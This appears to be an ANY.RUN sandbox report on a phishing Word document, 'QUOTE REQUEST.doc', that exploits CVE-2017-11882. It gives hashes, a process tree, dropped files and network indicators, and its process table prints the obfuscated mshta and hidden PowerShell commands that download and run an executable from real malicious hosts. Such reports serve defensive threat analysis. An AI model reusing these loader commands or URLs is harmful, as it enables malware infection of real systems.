analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

QUOTE REQUEST.doc

Full analysis: https://app.any.run/tasks/9ccb9c52-938a-4dcd-bdd2-e61f72f08e84
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 18, 2019, 04:46:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
loader
Indicators:
MIME: application/octet-stream
File info: data
MD5:

0D16DE262AB3C54EC44BCB78DD8AF2EA

SHA1:

F4C7D815220A678B3B5F79152123823BF52610ED

SHA256:

98A64D4A418D80A57C6173271E4FC9BFFE2C1B556117989FC093DE1ED82F7A12

SSDEEP:

192:53yawcez4eSl8PwR1ji9EdOrPVJ7q6JGUFPjwjTTBjqiHatKvCOLQrOSIjszWA:lyAwSqwLi9qCTO6JDAjqJtK6OETyA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3356)

    • Executes PowerShell scripts

      • mshta.exe (PID: 2504)

    • Application was dropped or rewritten from another process

      • KRQVHK.Exe (PID: 2916)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2592)

  • SUSPICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cMd.exe (PID: 4048)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3356)

    • Creates files in the user directory

      • mshta.exe (PID: 2504)
      • powershell.exe (PID: 2592)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2592)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3004)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3004)

    • Reads internet explorer settings

      • mshta.exe (PID: 2504)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3356)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs mshta.exe powershell.exe krqvhk.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3004"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\QUOTE REQUEST.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3356"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
4048cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/nQX5hsR0C:\Windows\system32\cMd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2504mSHta https://pastebin.com/raw/nQX5hsR0C:\Windows\system32\mshta.exe
cMd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2592"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://www.tibetsaveandcare.org/sites/default/files/cj2.exe',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2916"C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe—powershell.exe
User:
admin
Company:
STACKET
Integrity Level:
MEDIUM
Description:
cercisleaf
Version:
8.06.0006
Total events
1 781
Read events
1 319
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
3004WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVREBAC.tmp.cvr —
MD5:—
SHA256:—
2592powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9CSL8VA67ZM1CJP1WQ7O.temp —
MD5:—
SHA256:—
2592powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20f6b8.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3004WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:DCD13C37D08A036B1611336ECE7E97AB
SHA256:9426603DF83C05B9758C8CD5C301165271635E5DCCE010A3A2CC5775BB72C81F
2592powershell.exeC:\Users\admin\AppData\Local\Temp\KRQVHK.Exeexecutable
MD5:AD464935B352E7734C29629F55D5AE36
SHA256:A836B3E9BC6FA5A4204A067EC35DCFAB79AC311243B92750B65604A5F8FA36BB
2504mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:EF71B27F7BAFD53374EA5F51F28947BD
SHA256:F6F0DECCBAF3543FA2934257357EE24516E030B3A2002A56426F2DB2CFC91CF9
2592powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3004WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$OTE REQUEST.docpgc
MD5:D9DB59A555C8F7B77E0CAB0E7F16004C
SHA256:9B2208979AD405840E49F097356926E26F609CDED341A3CB40924A5BE105DB3D
2504mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\nQX5hsR0[1].txthtml
MD5:461B27060E1463DA36D30B56B8FDB558
SHA256:E5D1E0AA559E37A98F03FA3603B8FBF2635E0911A82B411F741591FB0CA2BB14
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2592
powershell.exe
GET
200
213.186.33.40:80
http://www.tibetsaveandcare.org/sites/default/files/cj2.exe
FR
executable
526 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2504
mshta.exe
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
2592
powershell.exe
213.186.33.40:80
www.tibetsaveandcare.org
OVH SAS
FR
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
www.tibetsaveandcare.org
  • 213.186.33.40
malicious

Threats

PID
Process
Class
Message
2592
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2592
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2592
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
QUOTE REQUEST.doc